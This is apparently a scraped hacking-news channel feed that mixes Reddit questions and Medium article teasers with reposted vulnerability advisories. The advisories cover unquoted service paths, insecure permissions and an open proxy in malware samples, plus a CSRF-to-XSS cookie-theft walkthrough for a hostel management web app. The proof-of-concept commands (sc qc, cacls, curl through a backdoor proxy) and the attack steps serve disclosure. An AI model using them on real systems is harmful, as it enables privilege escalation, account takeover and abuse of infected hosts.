hacking: security in practice
Are public IPs really useful to be exploited?

I find that the only thing that I can do with IPs are looking them up and using the online locator but those are incredibly inaccurate so I’ve been wondering if they really can be used for anything (idk if this sounds stupid but i just got into this and I’m curious)

submitted by /u/Armweak5104
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Suggestions on subreddits for finding groups?

I've always been into finding an easy way to unlock stuff in games, and with time I've found there are dedicated trainers to almost all games,

I used to play games like that but now I want to make those cheats my self,

The problem is I can't find any dedicated subreddits for this stuff, so can anyone suggest place where i can get my hands dirty?

Subreddits, discords, websites anything goes.

I've tried unknown cheats but the interaction is pretty minimal, so i want something where i can interact with the veterans in this side of programming.

submitted by /u/Zapismeta
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Cobalt Strike: Using Known Private Keys To Decrypt Traffic – Part 2
https://www.reddit.com/r/redteamsec/comments/qho3jn/cobalt_strike_using_known_private_keys_to_decrypt/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/) [comments] (https://www.reddit.com/r/redteamsec/comments/qho3jn/cobalt_strike_using_known_private_keys_to_decrypt/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Safety in DeFi; OCP Security Review

https://cdn-images-1.medium.com/max/1661/1*BR7IcXENgeAT2V9cKpyTOA.png
Pausing USDO minting, hardening platform smart contracts.

Continue reading on Omni Consumer Protocols »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How do they hack us? Why? Without Knowing

https://cdn-images-1.medium.com/max/1280/0*I0qjre632vbyrzq0
One of the queries we have a tendency to keep obtaining oftentimes from businesses furthermore as others is why do hackers hack?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
PHISHING, UNO DE LOS FRAUDES FINANCIEROS QUE MÁS PREOCUPA

https://cdn-images-1.medium.com/max/1493/0*pgXUjeG3nODRb2mL
PUBLICADO EN 28 OCTUBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Hupigon.acio Unquoted Service Path

https://4.bp.blogspot.com/-OTiSJPLOhfQ/WWlvdFudhmI/AAAAAAAAIPg/Ji3s4Viv0XwGl76TD9pbO-WowW5kHfgewCLcBGAs/s1600/h78.png
Backdoor.Win32.Hupigon.acio malware suffers from an unquoted service path vulnerability.

MD5 | e6adc2a82544b7f24f2b3ccf022fa695

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/21f324a6a62d8125bc83b8d1865e17f9.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.acio
Vulnerability: Insecure Service Path
Description: The malware creates a service with an unquoted path. Third party attackers who can place an arbitrary executable under c:\ drive can potentially undermine the integrity of the malware by having it run theirs instead with SYSTEM privs.
Type: PE32
MD5: 21f324a6a62d8125bc83b8d1865e17f9
Vuln ID: MVID-2021-0372
Dropped files: IEload.exe
Disclosure: 10/27/2021
Exploit/PoC:
C:\>sc qc "Win32Help"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Win32Help
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\Internet Explorer\Connection Wizard\IEload.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Windows Help Client
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan.Win32.Akl.bc Insecure Permissions

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Trojan.Win32.Akl.bc malware suffers from an insecure permissions vulnerability.

MD5 | 740eb0c39314c0c8686e809a5be79850

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0b2a0f61a209e24a7d7b2c2d5efb4d68.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Akl.bc
Vulnerability: Insecure Permissions
Description: The malware creates an dir named "LMPITF" with insecure permissions under Windows\SysWOW64 granting full (F) permissions to the Everyone user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 0b2a0f61a209e24a7d7b2c2d5efb4d68
Vuln ID: MVID-2021-0370
Dropped files: AKV.exe, QPM.exe
Disclosure: 10/27/2021

Exploit/PoC:
C:\>cacls C:\Windows\SysWOW64\LMPITF
C:\Windows\SysWOW64\LMPITF Everyone:F
Everyone:(OI)(CI)(IO)F

C:\>dir C:\Windows\SysWOW64\LMPITF
Volume in drive C has no label.

Directory of C:\Windows\SysWOW64\LMPITF

10/16/2021 10:31 PM 467,456 AKV.exe
10/16/2021 10:31 PM 62,464 QPM.001
10/16/2021 10:31 PM 44,032 QPM.002
10/16/2021 10:31 PM 1,602 QPM.004
10/16/2021 10:31 PM 1,544,192 QPM.exe
5 File(s) 2,119,746 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Hostel Management System 2.1 Cross Site Request Forgery / Cross Site Scripting

https://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png
Hostel Management System version 2.1 suffers from cross site request forgery and cross site scripting vulnerabilities. Original discovery of cross site scripting in this version is attributed to Kokn3t in October of 2020.

MD5 | 38336a69a2c7c2f1f9993d24b2135900

Download
# Exploit Title: PHPGurukul Hostel Management System 2.1 - Cross-site request forgery (CSRF) to Cross-site Scripting (XSS)
# Date: 2021-10-27
# Exploit Author: Anubhav Singh
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/hostel-management-system/
# Version: V 2.1
# Vulnerable endpoint: http://localhost/hostel/hostel/my-profile.php
# Tested on Windows 10, XAMPP

Steps to reproduce:

1) Navigate to http://localhost/hostel/hostel/my-profile.php
2) Enter xss payload "> in name field
3) Click on Update Profile and intercept the request in Burpsuite
4) Generate a CSRF POC of Update Profile

```
" />
```

5) Send this POC to victim
6) When victim open the POC, his/her name will be updated to our XSS payload & payload will get fires.
7) Now attacker get's the details of victim like ip address, cookies of Victim, etc
8) So attacker is able to steal Victim's cookies successfully!! Account takeover!!!

#POC

https://ibb.co/jVcZxnt
https://ibb.co/DwGh4x9

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Delf.arjo Unquoted Service Path

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
Backdoor.Win32.Delf.arjo malware suffers from an unquoted service path vulnerability.

MD5 | 4848209b5de294304b74fc7d5d8872c7

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/05177f77f075293ff7d58a7f2915c64f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.arjo
Vulnerability: Insecure Service Path
Description: The malware creates a service with an unquoted path. Third party attackers who can place an arbitrary executable under c:\ drive can potentially undermine the integrity of the malware by having it run theirs instead with SYSTEM privs.
Type: PE32
MD5: 05177f77f075293ff7d58a7f2915c64f
Vuln ID: MVID-2021-0371
Dropped files: F_Server.exe
Disclosure: 10/27/2021

Exploit/PoC:
C:\>sc qc FirstFantasy_Service
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FirstFantasy_Service
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\F_Server.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : FirstFantasy_Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Mazben.es Unauthenticated Open Proxy

https://3.bp.blogspot.com/-3DxkerR7uq4/WWlu9h9UGfI/AAAAAAAAIJw/dRDCcwrw3XEGYQWUo-AXJEEU7FQ8iTgpACLcBGAs/s1600/h115.png
Backdoor.Win32.Mazben.es malware suffers from an unauthenticated open proxy vulnerability.

MD5 | bcbea3a1d8c58544fcd6abb5d17f58e3

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/fcd611ccbc756fab43761f4b18372b81.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Mazben.es
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on random TCP ports like 2608, 6751, 3087, 5947. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: fcd611ccbc756fab43761f4b18372b81
Vuln ID: MVID-2021-0377
Disclosure: 10/27/2021

Exploit/PoC:
curl -x http://192.168.18.125:6751 http://192.168.18.128:21
220 INetSim FTP Service ready.

curl -x http://192.168.18.125:6751 http://192.168.18.128/DOOM.exe --output DOOM.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24576 100 24576 0 0 24576 0 0:00:01 --:--:-- 0:00:01 307k
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video